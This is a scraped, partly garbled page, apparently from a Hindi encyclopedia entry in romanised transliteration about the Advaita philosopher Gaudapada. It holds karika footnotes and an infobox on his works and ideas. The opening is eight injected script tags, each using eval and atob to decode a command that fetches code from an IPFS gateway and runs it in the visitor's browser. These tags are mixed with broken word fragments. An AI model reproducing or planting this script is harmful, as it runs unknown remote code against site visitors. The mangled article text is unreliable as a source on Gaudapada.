<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] saankhy, nyay adi

[2] rika 16-18

[3] yatha tatr tatha svapne-karika 4

[4] rika 7

[5] rika 6

[6] rika 20-28

[7] rika 32

[8] rika 7

[9] rika 14

[10] rika 17

[11] rika 27

[12] rika 14

[13] rika 29

[14] rika 38

[15] rika 34-38

[16] rika 39-47

[17] rika 1

[18] rika 11-12

[19] rika 13

[20] rika 22

[21] rika 40

[22] rika 44

[23] rika 55-56

[24] rika 57 tatha karika 71

[25] rika 74

[26] rika 83-84

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

[10]

[11]

[12]

[13]

[14]

[15]

[16]

[17]

[18]

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[20]

[21]

[22]

[23]

[24]

[25]

[26]

gau dapad
gau dapad\|200px\|center
any nam	shri gau dapadachary
karm bhoomi	bharat
karm-kshetr	adhyatm tatha darshan
mukhy rachanaean	'mandooky karika', 'mandookyoan-panishatkarika', 'uttaragitabhashy' adi.
prasiddhi	darshanik, sant
nagarikata	bharatiy
sanbandhit lekh	advaitavad, shankarachary
vishesh	gau dapad ne advait vedant ke mukhy siddhaant 'mayavad', 'vivartavad' ya 'ajativad' ka b da hi spasht pratipadan kiya hai. sath hi unhoanne keval astik darshanoan^[1] ka hi nahian apitu bauddh darshanoan ka bhi saphal khandan kiya.
any janakari	gau dapad advait siddhaant ke pradhan udghaghoshak the. inhoanne apani karika mean jis siddhaant ko bijaroop mean prakat kiya, usi ko shankarachary ne apane granthoan mean vistrit roop se samajhakar sansar ke samane rakha.